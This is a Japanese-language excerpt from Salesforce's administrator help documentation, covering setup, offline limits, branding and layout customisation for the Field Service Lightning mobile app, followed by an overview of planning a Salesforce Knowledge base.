ション

• iPhone 5c/5s 以降のモデ
ル

• iPad 4 以降のモデル
(iPad Air 2 および iPad Pro

を含む)

最適なパフォーマンスを得るために、モバイルデバイスのオペレーティングシステムを最新の状態に保ち、モ
バイルプランで許可されているデバイスの最新モデルにアップグレードします。Field Service モバイルアプリ
ケーションの今後のバージョンでは、古いオペレーティングシステムのサポートの終了が必要になる可能性が
あります。また、古いデバイスでは新しいオペレーティングシステムが正常に動作しない場合があります。

Salesforce のエディションおよびライセンス
次の Salesforce エディションおよびユーザライセンスの種類で Field Service Lightning モバイルアプリケーションを
使用できます。

Salesforce エディション

Field Service Lightning機能を使用可能なエディション: [Enterprise] Edition、[Performance] Edition、[Unlimited] Edition、
[Developer] Edition (Service Cloud 付属)。

ユーザライセンスの種類
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次のユーザライセンスの種類で Field Service Lightning モバイルアプリケーションにアクセスできます。
• Field Service Standard

• Field Service Scheduling

• Field Service Dispatcher

ワイヤレス接続
Mobile Field Service アプリケーションはオフラインパフォーマンス向上のために最適化されていますが、アプリ
ケーションが Salesforce と通信するには、Wi-Fi® または携帯電話ネットワーク接続が必要です。携帯電話接続の
場合は、3G ネットワーク以上が必要です。最適なパフォーマンスを得るには、Wi-Fi または LTE の使用をお勧め
します。Field Service Lightning モバイルアプリケーションのオフライン機能についての詳細は、ヘルプ記事「オ
フラインモードの考慮事項と制限」を参照してください。

Field Service Lightning モバイルアプリケーションの準備
Field Service Lightning モバイルアプリケーションの組織およびユーザを準備します。

Field Service Lightning モバイルアプリケーションの取得
エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

Field Service Lightning モバイルアプリケーションをダウンロードしてインストール
します。

メモ:  Field Service Lightning モバイルアプリケーションは、サポートされる iOS

デバイスでのみ使用できます。
1. モバイルデバイスで App Store を開きます。
2. [検索] タブをタップします。
3. 「Field Service」と入力し、[検索] をタップします。
4. Field Service by Salesforce の横にある [+GET] をタップし、[INSTALL] をタップしま

す。

Field Service Lightning モバイルアプリケーションの制限事項
エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

Field Service Lightning モバイルアプリケーションの制限事項について説明します。

オフラインモードの考慮事項と制限
Field Service Lightning モバイルアプリケーションのオフライン機能とオフライ
ンモードで作業する場合の考慮事項について説明します。
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オフラインモードの考慮事項と制限

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

Field Service Lightning モバイルアプリケーションのオフライン機能とオフライン
モードで作業する場合の考慮事項について説明します。
オフラインモードの制限事項

• アプリケーションは、ユーザのスケジュールデータをローカルに保存 (準
備) し、オフラインモードで作業する場合でも使用できるようにします。
モバイルデバイスに読み込まれるデータは、ユーザの割り当てスケジュー
ルと読み込まれるレコードタイプに基づいています。作業指示、作業指
示品目、納入商品、サービス予約の場合、次のデータが準備されます。
– オブジェクト
– 項目で参照されるオブジェクト
– 関連リスト
– オブジェクトのページレイアウトのクイックアクション
– Chatter フィード
ケースおよび商品の場合、次のデータが準備されます。
– オブジェクト
– 項目で参照されるオブジェクト
取引先責任者および取引先の場合、次のデータが準備されます。
– オブジェクト

• ユーザは、データと Salesforce を同期できません。つまり、ユーザはレコードまたはページレイアウトへ
の更新を受信できません。レコードの更新や新規レコードの作成を行うと、これらの変更がキューに追
加されます。インターネットアクセスが復元されたときに、このキューで変更が Salesforce にアップロー
ドされます。キューに待機中のアップロードがあるレコードには、ビジュアルインジケータが表示され
ます。ユーザは、待機中のアップロードキューのアプリケーションの設定からすべての待機中のアップ
ロードを確認およびキャンセルできます。

• オフライン中、ナビゲーションサービスは無効になります。ユーザは、マップビューでナビゲーション
サービスを有効化したり、キャッシュされていないマップデータを表示したりできません。

• オフライン中、参照項目のデフォルト値は入力されません。
オフラインモードの考慮事項

長期間インターネットアクセスがなくても技術者が作業できる場合、次のいくつかの役立つヒントを考慮
してください。
• 技術者が必要な作業スケジュール全体が含まれるようにカレンダー範囲を設定します。スケジュール済

み開始時間がスケジュールのカレンダー範囲内にあるすべての技術者のサービス予約のデータがアプリ
ケーションに事前に読み込まれます。デフォルトのカレンダー範囲は 15 日 (過去 7 日、将来 7 日) です。
カレンダー範囲の設定手順については、「日付ピッカーのカレンダー範囲の設定」を参照してくださ
い。

• オフラインで作業する場合、データの競合が発生する可能性があります。何らかの理由により、Salesforce

でデータのアップロードが拒否された場合、手動で競合を解決する必要があります。
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Field Service Lightning モバイルアプリケーションのカスタマイズ
技術者の固有のフィールドサービスニーズに合わせて Field Service Lightning モバイルアプリケーションをカスタ
マイズする方法について説明します。

Field Service Lightning モバイルアプリケーションのブランド設定
Field Service Lightning モバイルアプリケーションに会社のデザインを設定する方法について説明します。ユー
ザインターフェース (UI) の色をカスタマイズし、会社のロゴをプロファイル画面に追加します。
プロファイル画面の会社の画像の設定
プロファイルページの背景として表示する会社の画像 (ロゴなどの) をアップロードします。まず、会社の
プロファイル画像として使用する画像をアップロードします。
ユーザがクイックアクションを使用できるようにする
クイックアクションをオブジェクトのページレイアウトに追加して、技術者が外出先でレコードを作成お
よび編集したり、取引先責任者にメッセージをすばやく送信したりできるようにします。
Field Service Lightning モバイルアプリケーションの通知の有効化
技術者が常に最新の情報を利用できるように、組織で通知を有効にします。
技術者へのナレッジ記事の提供
Salesforce ナレッジ記事を作業指示および作業指示品目に添付して、製品マニュアルや修理手順などの有益
な情報を技術者に提案します。
日付ピッカーのカレンダー範囲の設定
技術者がスケジュールで参照できる過去および将来の日数を決定します。デフォルトでは、日付ピッカー
の範囲は 15 日 (過去 7 日、将来 7 日) です。
Chatter フィードを使用した作業の追跡
Chatter を Field Service モバイルアプリケーションに統合します。Chatter フィードにより、フィールドサービ
ス作業者および顧客にテキスト投稿やコンテンツ投稿の場所が提供されます。通知が有効になっている場
合、指定した項目への更新が変更追跡フィードで記録されるときに、所有またはフォローしている作業指
示への投稿が Chatter フィードで技術者に通知されます。
Field Service Lightning モバイルアプリケーションのフローの設定
技術者が作業をすばやく実行できるように、フローを使用して技術者のカスタムアクションを作成します。
柔軟な予約時間の使用
サービス予約のスケジュールに柔軟な予約時間を使用します。
レイアウトで主要情報を目立つように表示
レイアウトを使用して、Field Service Lightning モバイルアプリケーションでどのように情報が表示されるのか
を制御します。レコードのコンパクトレイアウトおよび検索レイアウトを設定して、主要情報をプレビュー
したり、目立つように固定したりします。ページレイアウトを使用して、予約の概要画面に表示されるカー
ドを制御します。
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Field Service Lightning モバイルアプリケーションのブランド設定

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

ユーザ権限

ブランドの色をカスタマ
イズする
• 「アプリケーションの

カスタマイズ」

Field Service Lightning モバイルアプリケーションに会社のデザインを設定する方法
について説明します。ユーザインターフェース (UI) の色をカスタマイズし、会社
のロゴをプロファイル画面に追加します。
Field Service Lightning モバイルアプリケーションの UI で色をカスタマイズします。
ブランド設定の表では、どの設定でアプリケーション内のどの UI 要素を制御す
るのかについて説明しています。
1. [設定] から、[クイック検索] ボックスに「Field Service Mobile 設定」と

入力し、[Field Service モバイル設定] を選択します。
2. Field Service Mobile 設定の詳細を [編集] します。
3. 色の 16 進数コードを [ブランドの色]設定に入力し、デフォルト値を置き換え

ます。詳細は、ブランド設定の表を参照してください。

重要: 次の表のデフォルト値の形式 (16 進数コードに付加されている # を
含む) で色の 16 進数コードの値を入力します。

表 47 : ブランド設定の表
デフォルト値説明トークン名

#FCFCFCアプリケーションの上部
バーの色。

ナビゲーションバー背景
色

#FFFFFFトーストの色とフロート
表示されているアクショ

ブランド反転色

ンボタンのコントラスト
色。

#C23934エラーメッセージの色。フィードバックプライマ
リ色

#007FAA成功メッセージの色。フィードバックセカンダ
リ色

#803ABEUI 全体で使用されるメイ
ンのブランド色。

プライマリブランド色

#2F81B7アクションボタンの色。セカンダリブランド色
#000000プライマリテキストの

色。
コントラストプライマリ
色

#444444セカンダリテキストの
色。

コントラストセカンダリ
色

#9FAAB5設定画面のアイコンおよ
び UI の異なる領域を示す
プライマリラインの色。

コントラストターティア
リ色

3341

Field Service Lightning モバイルアプリケーションのカス
タマイズ

カスタマーサポートツールの設定および管理



デフォルト値説明トークン名

#E6E6EBUI の異なる領域を示すセカンダリ
ラインの色。

コントラストクォータナリ色

#F8F8F8UI のプライマリ背景の色。コントラストクワイナリ色
#FFFFFFUI のセカンダリ背景の色。コントラスト反転色

[設定] で 16 進数コードの色を使用して、アプリケーションのブランド設定トークンをカスタマイズします。
1. [設定] から、[クイック検索] ボックスに「Field Service Mobile」と入力し、[Field Service モバイル設定]

を選択します。
2. Field Service Mobile 設定の詳細を [編集] します。
3. 各ブランド設定トークンに、# が先頭に付加された 16 進数コードの形式で目的の色を入力します。
4. 変更する各トークンの値を入力したら、[保存] をクリックします。

例: ブランド設定トークンを黒色に設定するには、「#FFFFFF」の値を入力します。

プロファイル画面の会社の画像の設定

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

ユーザ権限

会社のプロファイル画像
を設定する
• 「アプリケーションの

カスタマイズ」

プロファイルページの背景として表示する会社の画像 (ロゴなどの) をアップロー
ドします。まず、会社のプロファイル画像として使用する画像をアップロード
します。
プロファイルの背景として使用する画像をアップロードします。
1. [設定] から、[クイック検索] ボックスに「静的リソース」と入力し、[静的リ

ソース] をクリックします。
2. [新規] 静的リソースを作成します。
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ユーザがクイックアクションを使用できるようにする

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

ユーザ権限

クイックアクションを作
成してページレイアウト
に追加する
• 「アプリケーションの

カスタマイズ」

クイックアクションをオブジェクトのページレイアウトに追加して、技術者が
外出先でレコードを作成および編集したり、取引先責任者にメッセージをすば
やく送信したりできるようにします。
ユーザは、レコードを表示しているときに、そのレコードのページレイアウト
でフロート表示されているアクションボタンを押してクイックアクションを使
用できます。フロート表示されているアクションボタン (1) を使用すると、ユー
ザは現在開いているレコードのページレイアウトに割り当てられているアクショ
ンを実行できます。また、アクションは、レコードのアクションボタン (2) を押
して実行することもできますが、これらのアクションはページレイアウトから
設定できません。たとえば、[商談の作成] アクションを取引先責任者のページレ
イアウトに追加すると、ユーザはアプリケーションの取引先責任者カードまた
は任意の取引先責任者レコードの詳細ページから新規商談を作成できます。ユー
ザのために作成するオブジェクト固有のクイックアクションについて慎重に検
討してください。たとえば、技術者の多くはフォローアップ予約や新規取引先
責任者を作成する必要があります。

重要: Field Service Lightning モバイルアプリケーションでは、[レコードの作成]

および [レコードの更新] クイックアクション種別がサポートされます。
VisualForce、Lightning コンポーネント、カスタム上書きアクションはサポー
トされません。

予約の概要画面のクイックアクションの作成
予約の概要画面では、現在のサービス予約に関連付けられている作業指示または作業指示品目の情報が技
術者に表示されます。組織での作業指示および作業指示品目の使用方法によっては、作業指示や作業指示
品目のページレイアウトにアクションを追加した方が良い場合もあります。

1. [設定] から、[クイック検索] ボックスに「作業指示」と入力し、[作業指示] > [ボタン、リンク、およびアク
ション] を選択します。

2. [新規アクション]をクリックします。
3. レコードの作成または編集を行うアクションを設定します。Lightning コンポーネント、VisualForce、カスタ

ム上書きアクションはサポートされません。
4. [設定] から、[クイック検索] ボックスに「作業指示」と入力し、[作業指示] > [ページレイアウト]を選択しま

す。
5. 作業指示レイアウトを [編集] します。
6. レイアウトエディタから、[クイックアクション]を選択し、新規作成したアクションを Salesforce Classic のパ

ブリッシャーのクイックアクションにドラッグアンドドロップします。
7. レイアウトエディタで [保存] をクリックします。

関連トピック:

オブジェクト固有のアクション
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Field Service Lightning モバイルアプリケーションの通知の有効化

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

技術者が常に最新の情報を利用できるように、組織で通知を有効にします。
Salesforceから Field Service Lightning モバイルアプリケーション、Salesforce1、および
Lightning Experience の関連するユーザに通知が送信されるように、組織設定で通
知を有効にします。Field Service Lightning モバイルアプリケーションの通知は、ア
プリケーションがバックグラウンドで実行されているときに転送通知として送
信されます。アプリケーションがフォアグラウンドになっている場合、通知は
通知数を表示するビジュアルインジケータを使用して各自のタブで追跡されま
す。
Field Service の通知の有効化
1. [設定] から、[クイック検索] ボックスに「Field Service 設定」と入力し、

[Field Service 設定] をクリックします。
2. [Salesforce1 と Lightning Experience の関連するユーザに作業指示およびサービス予約の更新について通知す

る] を選択します。

メモ: このオプションを選択すると、Salesforce1 および Lightning Experience のユーザの通知も有効になり
ます。

3. [保存] をクリックします。

技術者へのナレッジ記事の提供

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

ユーザ権限

ページレイアウトをカス
タマイズする
• 「アプリケーションの

カスタマイズ」

Salesforce ナレッジ記事を作業指示および作業指示品目に添付して、製品マニュ
アルや修理手順などの有益な情報を技術者に提案します。
ナレッジ記事を関連リストとして作業指示および作業指示品目ページレイアウ
トに追加するには、Salesforce Knowledgeが設定されている必要があります。Salesforce

Knowledge の実装方法についての詳細は、『Salesforce ナレッジガイド』を参照し
てください。
作業指示ページレイアウトへの記事の追加
1. [設定] から、[クイック検索] ボックスに「作業指示」と入力し、[作業指示] >

[ページレイアウト] をクリックします。
2. 作業指示レイアウトを [編集] します。
3. レイアウトエディタで、[関連リスト] を選択します。
4. 記事をページレイアウトにドラッグアンドドロップします。
5. レイアウトエディタで [保存] をクリックします。

ヒント: 組織での作業指示および作業指示品目の使用方法によっては、同
じ変更を作業指示品目設定に適用した方が良い場合もあります。
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日付ピッカーのカレンダー範囲の設定

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

ユーザ権限

日付ピッカーのカレン
ダー範囲を設定する
• 「アプリケーションの

カスタマイズ」

技術者がスケジュールで参照できる過去および将来の日数を決定します。デフォ
ルトでは、日付ピッカーの範囲は 15 日 (過去 7 日、将来 7 日) です。

Chatter フィードを使用した作業の追跡

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

ユーザ権限

フィードの項目追跡をカ
スタマイズする
• 「アプリケーションの

カスタマイズ」

項目追跡設定ページを参
照する
• 「設定・定義を参照す

る」

Chatterを Field Service モバイルアプリケーションに統合します。Chatterフィードに
より、フィールドサービス作業者および顧客にテキスト投稿やコンテンツ投稿
の場所が提供されます。通知が有効になっている場合、指定した項目への更新
が変更追跡フィードで記録されるときに、所有またはフォローしている作業指
示への投稿が Chatter フィードで技術者に通知されます。
Chatter を Field Service Lightning モバイルアプリケーションに統合します。Chatter

フィードにより、技術者および顧客にテキスト投稿やコンテンツ投稿の場所が
提供されます。変更追跡フィードにより、指定した項目が変更されたときに
Chatter にテキスト投稿が行われます。通知が有効になっている場合、所有また
はフォローしている作業指示および作業指示品目への投稿が Chatter フィードで
技術者に通知されます。
作業指示のフィード追跡を有効にします。

ヒント: 組織での作業指示および作業指示品目の使用方法によっては、同
じ変更を作業指示品目設定に適用した方が良い場合もあります。

1. [設定] から、[クイック検索] ボックスに「Chatter」と入力し、[フィード追
跡] を選択します。

2. オブジェクトリストから [作業指示] を選択します。
3. [フィード追跡の有効化] をオンにします。
4. 必要に応じて、フィード追跡する項目を選択します。
5. [Save.] をクリックします。
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Field Service Lightning モバイルアプリケーションのフローの設定

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

ユーザ権限

•

技術者が作業をすばやく実行できるように、フローを使用して技術者のカスタ
ムアクションを作成します。

柔軟な予約時間の使用

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

ユーザ権限

•

サービス予約のスケジュールに柔軟な予約時間を使用します。
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レイアウトで主要情報を目立つように表示

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

ユーザ権限

ページレイアウト、検索
レイアウト、コンパクト
レイアウトを変更する
• “”

レイアウトを使用して、Field Service Lightning モバイルアプリケーションでどのよ
うに情報が表示されるのかを制御します。レコードのコンパクトレイアウトお
よび検索レイアウトを設定して、主要情報をプレビューしたり、目立つように
固定したりします。ページレイアウトを使用して、予約の概要画面に表示され
るカードを制御します。

コンパクトレイアウトを使用したレコードの [特長] の制御
コンパクトレイアウト設定を使用して、Field Service Lightning モバイルアプリ
ケーションのレコードの [特長] を制御します。
ページレイアウトを使用した予約の概要画面の制御
作業指示および作業指示品目のページレイアウト設定を使用して、予約の概
要画面に表示される「カード」を制御します。カードは、さまざまなレコー
ドタイプに対応するユーザインターフェース内の個別のセクションです。
検索レイアウトを使用したスケジュール画面の制御
サービス予約オブジェクトの検索レイアウト設定を変更して、Field Service

Lightning モバイルアプリケーションのメインスケジュール画面を制御します。

コンパクトレイアウトを使用したレコードの [特長] の制御

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

ユーザ権限

コンパクトレイアウトを
変更する
• 「アプリケーションの

カスタマイズ」

コンパクトレイアウト設定を使用して、Field Service Lightning モバイルアプリケー
ションのレコードの [特長] を制御します。
レコードがレコードの [特長] として表示される (レコードのプレビューが表示さ
れる) 場合、表示はそのレコードのコンパクトレイアウト設定によって決定しま
す。レコードのコンパクトレイアウトの最上部の項目は目立つように表示され、
残りの項目はその下に表示されます。オブジェクトのカスタムレイアウトを変
更する前に、ユーザが最も目立つように表示してほしい項目を検討してくださ
い。
1. [設定] から、変更するオブジェクト名を [クイック検索] ボックスに入力し、

[コンパクトレイアウト] を選択します。
2. コンパクトレイアウトを [編集] します。
3. [選択可能な項目] リストまたは [選択済みの項目] リストのいずれかから追加

する項目を選択します。
4. 目立つように表示する項目を [選択済みの項目] リストに [追加] します (まだ

追加していない場合)。
5. [上へ] および [下へ] ボタンを使用して、目的の項目が [選択済みの項目] リストの最上部にくるように [選択

済みの項目] を並び替えます。
6. [保存] をクリックします。
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ページレイアウトを使用した予約の概要画面の制御

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

ユーザ権限

ページレイアウトを変更
する
• 「アプリケーションの

カスタマイズ」

作業指示および作業指示品目のページレイアウト設定を使用して、予約の概要
画面に表示される「カード」を制御します。カードは、さまざまなレコードタ
イプに対応するユーザインターフェース内の個別のセクションです。
ユーザがスケジュール画面からサービス予約を選択すると、予約の概要画面に
移動します。Field Service Lightning モバイルアプリケーションのこの画面では、
カードと呼ばれるスペースに情報が表示されます。これらのカードは、各種レ
コードや Chatter 投稿などのその他の情報に対応する個別のスペースです。項目
を追加または削除すると、対応するカードが追加または削除されます。予約の
概要画面に追加できるすべてのカードについての詳細は、次の表を参照してく
ださい。ユーザが予約の概要画面からどのようなカードにアクセスしたいのか
について慎重に検討してください。

表 48 : 予約の概要画面で使用できるカード
説明カード

予約の住所に移動するための地図およ
びオプションが表示されます。住所が
設定されていない場合、カードには住

住所カード

所を設定してナビゲーションを有効化
するためのオプションが代わりに表示
されます。

取引先責任者の名前と写真が表示され
ます。また、取引先責任者への電話、

取引先責任者カード

SMS、メールを行うためのオプション
もあります。

納入商品のメンテナンス履歴に関する
コンテキストが提供されます。現在の

納入商品カード

作業指示に関連付けられている納入商
品やその納入商品に関連付けられてい
る作業指示のリストが表示されます。

親作業指示または作業指示品目レコー
ドおよびその子作業指示品目レコード

作業指示品目カード

の進行状況が表示されます。「ユーザ
が子作業指示品目を作成できるように
する」で説明されているように、ユー
ザが新しい子品目を作成できるように
設定できます。

作業指示または作業指示品目に関連付
けられているナレッジ記事が表示され
ます。

ナレッジカード
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1. [設定] から、[クイック検索] ボックスに「作業指示」と入力し、[作業指示] > [ページレイアウト]を選択しま
す。

2. 画面上部のページレイアウトエディタを使用して、作業指示ページレイアウトの項目を追加または削除し
ます。

3. レイアウトエディタで [保存] をクリックします。

ヒント: 組織での作業指示および作業指示品目の使用方法によっては、同じ変更を作業指示品目設定に適
用した方が良い場合もあります。

検索レイアウトを使用したスケジュール画面の制御

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

ユーザ権限

検索レイアウトを変更す
る
• 「アプリケーションの

カスタマイズ」

サービス予約オブジェクトの検索レイアウト設定を変更して、Field Service Lightning

モバイルアプリケーションのメインスケジュール画面を制御します。
Field Service Lightning モバイルアプリケーションのスケジュール画面には、ユーザ
に割り当てられているサービス予約のリストが表示されます。アプリケーショ
ンには、サービス予約検索レイアウトの上位 2 つの項目が目立つように表示さ
れます。技術者がこの画面から参照したい項目を検討してください。たとえば、
スクリーンショットでは、サービス予約の ID と状況がそれぞれ最初の項目と 2

番目の項目に設定されています。

メモ: サービス予約検索レイアウト設定に関係なく、アプリケーションに
はスケジュール済み開始時刻と住所が同じ場所に表示されます。

1. [設定] から、[クイック検索] ボックスに「サービス予約」と入力し、[検索レイ
アウト] を選択します。

2. 検索結果検索レイアウトを [編集] します。
3. [選択可能な項目] リストまたは [選択済みの項目] リストのいずれかから追加

する項目を選択します。
4. 項目を [選択済みの項目] リストに [追加] します (まだ追加していない場合)。
5. [上へ]および [下へ]ボタンを使用して、目的の 2 つの項目が [選択済みの項目] リストの最上部にくるように

[選択済みの項目] を並び替えます。
6. [保存] をクリックします。
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知識ベースの追加

Salesforce ナレッジの追加

Salesforce ナレッジの概要

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

知識ベースを構築し、Web サイト訪問者、クライアント、パートナー、および
サービスエージェントに最上級のサポートを提供します。Salesforce ナレッジを
使用すると、自社の情報を作成、管理し、必要な時に必要な場所で安全に共有
できます。
Salesforce 知識ベースは、ナレッジ記事で構成されます。ナレッジ記事とは、情
報が含まれたドキュメントです。記事には、製品をデフォルトに戻す方法など
プロセスに関する情報や、製品がサポートするストレージ容量はどのくらいか、
などといったよくある質問が含まれています。
経験豊富なサービスエージェントや社内のライターが記事を作成します。作成
された記事は、内部アプリケーション、カスタマーコミュニティやパートナー
コミュニティ、または公開 Web サイトなど、幅広いチャネルで公開されます。
どこでどの情報が公開されるかは、記事レイアウトプロファイルと項目レベル
セキュリティに基づいて決定されます。
Spring '17 以降、ナレッジは Salesforce Classicと Lightning Experienceの両方で使用でき
ます。現在、Lightning Knowledge は、ナレッジを使用したことがない組織、また
は 1 つの記事タイプに簡単に統合でき、データカテゴリ数が少なく、単一言語
モードを使用している既存の組織にお勧めします。詳細は、「Lightning Knowledge

の制限事項」を参照してください。

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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Salesforce ナレッジドキュメントの概要

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

次のリストを使用すると、Salesforce ドキュメントセットの Salesforce ナレッジ情
報を検索できます。

Salesforce ナレッジの概要
• Salesforce ナレッジの概要
• 知識ベースの計画
• Salesforce ナレッジの制限
• 記事および翻訳の操作
• 『Salesforce ナレッジガイド』

Classic ナレッジ
Classic ナレッジの設定

• 知識ベースの構築
• ナレッジ記事タイプ
• Salesforce ナレッジへの既存の情報のインポート
• ナレッジ記事へのアクセス
• 記事のワークフローと承認

Salesforce Classic の Salesforce 知識ベースの使用
• [ナレッジ] タブでの記事および外部ソースの検索

– Salesforce Classic の Salesforce コンソールでのナレッジ記事の検索
– 検索のしくみ
– [記事] タブまたは [ナレッジ] タブ
– Android デバイスでの Salesforce ナレッジ記事の検索および表示については、「Salesforce1 for Android で

の Salesforce ナレッジ記事へのアクセス (ベータ)」および「Salesforce1 と Salesforce フルサイトとの違い」
を参照してください。

• 記事の作成と編集
• 記事および翻訳の公開
• Salesforce ナレッジ記事に関するレポート

Salesforce ナレッジ記事の翻訳
• マルチ言語の知識ベースの設定
• Salesforce ナレッジ内の記事の翻訳
• 翻訳用の記事のエクスポート
• 翻訳記事のインポート
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Lightning Knowledge

Lightning Knowledge の設定
• Lightning Knowledge レコードタイプの作成
• Lightning Knowledge ホームの作成 (ページ 3457)

• Lightning Knowledge のアクセス権の設定 (ページ 3459)

Lightning Experience の Salesforce 知識ベースの使用
• Lightning Knowledge のアクションの作成 (ページ 3467)

• メイン検索ボックスとナレッジサイドバーでの記事の検索 (ページ 3466)

• Lightning サービスコンソールのナレッジサイドバーの使用 (ページ 3468)

Salesforce ナレッジ記事のデータカテゴリの定義
• Salesforce.com のデータカテゴリ
• カテゴリグループの作成と編集
• カテゴリグループへのデータカテゴリの追加

Salesforce 知識ベースの共有
• ケースフィード記事ツールを使用した、記事の検索、添付、およびメール送信 (Classic)

• コミュニティでの Salesforce ナレッジの有効化 (Classic)

• Live Agent でのナレッジの使用 (Classic)

• 公開 Web サイトの訪問者に Salesforce ナレッジ記事を表示するには、AppExchange から Public Knowledge Base ア
プリケーションをインストールします。このパッケージを使用して公開知識ベースをインストール、設定、
およびカスタマイズするには、AppExchange から入手できる『Public Knowledge Base AppExchange App Guide』を
参照してください。

ナレッジおよび Salesforce1

• Salesforce1 の各バージョンで使用可能な機能
• カスタマーサービス機能: Salesforce1 で使用できない機能

Salesforce ナレッジを使用した開発
• 『Salesforce ナレッジ開発者ガイド』には、Salesforce ナレッジ固有の開発に関する説明とチュートリアルお

よび例が記載されています。
• 『Force.com REST API 開発者ガイド』には、REST API での記事のサポートに関する説明が記載されています。
• 『SOAP API 開発者ガイド』には、Salesforce ナレッジ API に関する説明が記載されています。

– ガイドライン
– オブジェクト
– コール
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• 『メタデータ API 開発者ガイド』には、Salesforce ナレッジのメタデータ API オブジェトに関する説明が記載
されています。

• 『Visualforce開発者ガイド』には、Salesforce ナレッジの Visualforceコンポーネントに関する説明が記載されて
います。

• 『Force.com Apexコード開発者ガイド』には、Apexの KnowledgeArticleVersionStandardController クラスに関する説
明が記載されています。

知識ベースの計画

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

サポートチームの専門知識を蓄積して公開するための戦略を立てる場合に重要
なことは、個々の企業のニーズを考慮することです。充実した知識ベースがあ
れば、顧客へのサービスが迅速化するだけでなく、顧客が問題を自力で解決で
きるようになります。
Salesforce ナレッジの設定は、「どのようにしたいか」と自問しながら進めるプ
ロセスです。Salesforce ナレッジには多数の機能やオプションがあり、組織に適
したものを自由に選ぶことができます。

詳細考慮事項

記事タイプどのような情報を公開する必要がある
か?

ナレッジユーザライセンス、ユーザの
設定

情報を提供するのは誰か?

ナレッジの管理、入力規則情報を承認および管理するのは誰か?

記事のワークフローと承認記事の作成や公開を管理するワークフ
ローや承認プロセスは必要か?

Salesforce ナレッジへの既存の情報のイ
ンポート

既存の知識ベースやドキュメントがあ
り、インポートする必要があるか?

ナレッジ記事へのアクセス、ナレッジ
の公開グループの作成、公開グループ
への記事アクションの割り当て

誰がどこでどのような情報を読む必要
があるか?

Salesforce.com のデータカテゴリ情報を分類する必要はあるか?

データカテゴリの表示設定誰がどのカテゴリにアクセスできるよ
うにするか?

マルチ言語の知識ベースの設定複数の言語をサポートしているか?

ケースメールへの PDF 版の記事の添
付、ケース情報に基づく推奨記事一覧

エージェントがケースに対応しながら
記事を検索する必要はあるか?

の表示、Knowledge One ウィジェットの
設定
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詳細考慮事項

フィード追跡エージェントが Chatter の記事をフォローする必要が
あるか?

Public Knowledge for Mobile, Web, and Facebook (モバイル、
Web、Facebook の公開知識)

知識ベースを外部と共有する必要があるか?

記事検索機能の向上検索精度を高める必要はあるか?

Salesforce ナレッジは、顧客のサポート方法のベストプ
ラクティスを評価する Consortium for Service Innovation

進化を続ける知識ベース指向サービス業界のガイドラ
イン、リソース、現在の論点は必要か?

(サービスイノベーション協会) の「KCS 認定」を受け
ています。ナレッジ中心のサポート (KCS) 機能を実装
すれば、チーム内での効率的なコラボレーションが実
現し、顧客に的確な情報を提供できます。

Salesforce ナレッジを計画して使用するときは、次のヒントを参考にしてください。
• Salesforce ナレッジにシノニムグループを作成します。シノニムは、記事の検索で同義として扱われる語ま

たは句で、検索結果を最適化できます。
